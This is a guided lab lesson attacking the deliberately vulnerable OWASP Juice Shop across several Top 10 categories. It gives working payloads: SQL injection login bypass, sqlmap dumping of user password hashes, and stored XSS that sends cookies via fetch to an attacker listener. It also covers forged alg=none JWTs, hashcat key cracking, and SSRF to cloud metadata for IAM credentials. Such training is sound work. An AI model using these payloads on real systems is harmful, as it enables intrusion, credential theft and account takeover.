OWASP Top 10 — Guided walkthrough
OWASP Juice Shop — the most modern deliberately vulnerable application, written in Angular + Node.js. We take it apart, five times in a row, across five different Top 10 categories. Each time: request, response, impact.
Juice Shop runs on 10.10.10.50 in your host-only lab. No command in this lesson goes out to the Internet.
What you will be able to do after this lesson
- Launch Juice Shop in Docker.
- Exploit five vulnerabilities from different categories.
- Write, for each one, a clear proof of impact.
- Chain an IDOR + a weak JWT into a complete escalation scenario.
Step 0 — Launch Juice Shop
On a fresh Ubuntu VM in the lab, or on Kali:
docker run -d --name juice -p 3000:3000 bkimminich/juice-shop
From Kali: http://10.10.10.50:3000/ — the shop appears.
Configure Firefox to go through Burp Suite (127.0.0.1:8080). Create a normal user account (victime@test.local / Test123!), log in. Burp sees everything.
Create the evidence folder:
mkdir -p ~/labs/semaine-07/preuves
Step 1 — A01: IDOR on the shopping baskets
Observation: your basket has an ID basketId=6. Each user has their own basket.
Hypothesis: what if we change the ID?
In Burp HTTP history, find the request:
GET /rest/basket/6 HTTP/1.1
Host: 10.10.10.50:3000
Authorization: Bearer eyJ0eXAiOi...
Send to Repeater. Change 6 to 1:
GET /rest/basket/1 HTTP/1.1
Response:
{
"status": "success",
"data": {
"id": 1,
"coupon": null,
"UserId": 1,
"createdAt": "2026-03-15T10:12:44.891Z",
"Products": [
{"name": "Apple Juice", "quantity": 3, "price": 1.99},
{"name": "OWASP Juice Shop Logo Sticker", "quantity": 100, "price": 5}
]
}
}
You see the admin's basket. UserId=1 = admin account.
Proof of impact:
Request: GET /rest/basket/1 with a normal user token
Response: full basket content of user ID=1 (admin)
Consequence: any user can read any other user's basket.
On a real shop, this is equivalent to reading every customer's orders.
Save the request + the response in preuves/A01-idor-panier.md.
Step 2 — A03: SQL injection on the login
Observation: the login has an email field and a password field.
In Burp, intercept POST /rest/user/login:
{"email":"victime@test.local","password":"Test123!"}
Modify:
{"email":"' OR 1=1 --","password":"anything"}
Send it. Response:
{
"authentication": {
"token": "eyJ0eXAiOi...",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}
You are admin. Authentication was bypassed: the request becomes SELECT * FROM Users WHERE email='' OR 1=1 --' AND password='...' → returns the first row, usually admin.
Proof of impact:
Request: POST /rest/user/login with a booby-trapped email
Result: valid JWT token for admin@juice-sh.op
Consequence: full application compromise via SQL injection
on the login email field.
Note the token for later:
export ADMIN_TOKEN="eyJ0eXAiOi..."
Save it in preuves/A03-sqli-login.md.
Step 3 — A03 (again): SQL injection with sqlmap
Let's find a more classic injection. Browse to http://10.10.10.50:3000/rest/products/search?q=apple. It's a search endpoint.
In Burp, capture the request:
GET /rest/products/search?q=apple HTTP/1.1
Host: 10.10.10.50:3000
Save it to a file:
# preuves/req-search.txt
GET /rest/products/search?q=FUZZ HTTP/1.1
Host: 10.10.10.50:3000
Run sqlmap:
sqlmap -r preuves/req-search.txt --batch --level=3 --dbs
Typical output:
sqlmap identified the following injection point(s):
Parameter: q (GET)
Type: UNION query
Payload: apple' UNION SELECT NULL,NULL,...
available databases [1]:
[*] SQLite_masterdb
Good, it's a SQLite. We list the tables:
sqlmap -r preuves/req-search.txt --batch --tables
Database: <current>
[9 tables]
+-------------------+
| Users |
| Products |
| Feedbacks |
| BasketItems |
| ... |
+-------------------+
Extract of 3 users:
sqlmap -r preuves/req-search.txt --batch --dump -T Users --start=1 --stop=3
+---+------------------------+--------------------------------+---------+
| id | email | password (md5) | role |
+---+------------------------+--------------------------------+---------+
| 1 | admin@juice-sh.op | 0192023a7bbd73250516f069df18b500 | admin |
| 2 | jim@juice-sh.op | e5a9e79ba99895c40506c5be3f4d2354 | customer|
| 3 | bender@juice-sh.op | 03dfb27506def0d31d5b1e57dc95519f | customer|
+---+------------------------+--------------------------------+---------+
Proof of impact:
Extraction limited to 3 rows (RoE respected).
Admin md5 hash: 0192023a7bbd73250516f069df18b500
→ Decoded in 3 seconds on https://crackstation.net → password "admin123"
Consequence: from a SQL injection on a public search endpoint,
extraction and cracking of the admin password in < 5 minutes.
Step 4 — A03: Stored XSS on the profile page
In your user account, go to Profile. You can change your username.
Test it:
<img src=x onerror="alert(document.cookie)">
Save. Reload the profile page. A pop-up shows your cookie.
Pop-up = POC. We want the impact. Let's replace it with a payload that exfiltrates:
<img src=x onerror="fetch('http://10.10.10.5:8000/steal?c='+document.cookie)">
On Kali, start a server:
python3 -m http.server 8000
Reload the page. The Kali terminal shows:
10.10.10.50 - - [15/Apr/2026 14:33:12] "GET /steal?c=token=eyJ0eXAi... HTTP/1.1" 200 -
You have exfiltrated the JWT token of the visitor who loaded your profile. On a community page (feedback, forum), any administrator who came to read your message would send their token to your server.
Proof of impact:
Stored XSS in the username (payload: img onerror fetch).
The JWT token of any visitor (admin included) is exfiltrated to 10.10.10.5:8000.
Consequence: full identity takeover, admin included, as soon as a
moderator visits my profile page.
Save it in preuves/A03-xss-stockee.md.
Step 5 — A07: JWT with alg=none
Let's decode the admin JWT obtained in step 2 on jwt.io (or with jwt-cli locally):
Header : {"typ":"JWT","alg":"HS256"}
Payload: {
"status":"success",
"data":{"id":1,"email":"admin@juice-sh.op","password":"...","role":"admin"},
"iat":1712345678
}
Signature: <256 bits>
alg=none attack: we replace HS256 with none in the header and drop the signature.
Manual construction:
import base64, json
header = {"typ":"JWT","alg":"none"}
payload = {"status":"success","data":{"id":1,"email":"admin@juice-sh.op","role":"admin"},"iat":1712345678}
def b64(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
token = f"{b64(header)}.{b64(payload)}."
print(token)
Output:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6...
Test it:
curl -H "Authorization: Bearer <forged-token>" http://10.10.10.50:3000/rest/user/whoami
Response:
{"user":{"id":1,"email":"admin@juice-sh.op","role":"admin"}}
On Juice Shop, this attack does not work (the library verifies), but it still works on many real APIs written with old JWT parsers.
Fallback that works on Juice Shop: we crack the HS256 key with Hashcat. Grab the token, extract the signature:
hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt
If the key is part of rockyou.txt (secret, admin, changeme...), you get the key in seconds. Then you forge a legitimately signed admin token.
Proof of impact:
Attack: JWT signature guessed via dictionary (hashcat -m 16500).
Key found: "secret" (10 minutes)
Result: ability to forge any token for any user.
Consequence: permanent compromise until the signing key is rotated.
Step 6 — A10: SSRF on image import
Juice Shop has an upload endpoint that can load an image from a URL:
POST /api/User/ HTTP/1.1
Content-Type: application/json
{"picture":"http://<controlled-url>"}
Test it with the AWS metadata endpoint (even though Juice Shop is not on AWS, we simulate the principle):
{"picture":"http://169.254.169.254/latest/meta-data/"}
On a real vulnerable EC2 instance, the response would contain the metadata, including the IAM credentials.
For the local demo, let's start a test server on Kali:
python3 -m http.server 9000 > /tmp/reception.log &
Payload:
{"picture":"http://10.10.10.5:9000/secret.txt"}
Send it. Check /tmp/reception.log:
10.10.10.50 - - [15/Apr/2026 14:41:03] "GET /secret.txt HTTP/1.1" 404 -
Proof: the application server did send a request to the IP you chose. That is the SSRF behavior.
Extended proof of impact (on a real cloud target):
Payload: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
Response: {AccessKeyId, SecretAccessKey, Token}
aws sts get-caller-identity → confirmation of the AWS account
aws iam list-attached-role-policies → full visibility of the permissions
Consequence: shift from an application-level SSRF to a cloud compromise.
Save it in preuves/A10-ssrf.md.
Step 7 — The chain: XSS → admin JWT theft → full takeover
Chain it all back together to show a real attack story:
- Stored XSS on my profile page (step 4).
- A moderator views my page.
- The moderator's JWT goes to my server (
10.10.10.5:8000/steal?c=...). - I copy that JWT into
Authorization: Bearer ...in Burp. - Every request I make now runs with the moderator's identity.
- I reach
/rest/admin/users,/rest/products/create, etc. - I change a product's price to
$0.01, I build a basket, I place the order.
Two individual flaws (XSS + no MFA on the admin account) chained together = commercial compromise.
This story — not the isolated payloads — is what makes it into the final report.
Wrap-up
In 90 minutes, on Juice Shop:
- A01 IDOR — reading the admin basket.
- A03 SQLi login — full auth bypass.
- A03 SQLi search — extraction of the Users table.
- A03 stored XSS — JWT exfiltration.
- A07 JWT — HMAC key cracking.
- A10 SSRF — the server sends whatever I want.
- Attack chain: XSS + admin session = commercial compromise.
That's five proofs of impact in one folder. It's the kind of content you put in a web pentest report.
Next lesson: your turn. You take DVWA or Juice Shop on a harder level, you drop at least 3 flaws from different categories, with a proof of impact for each one.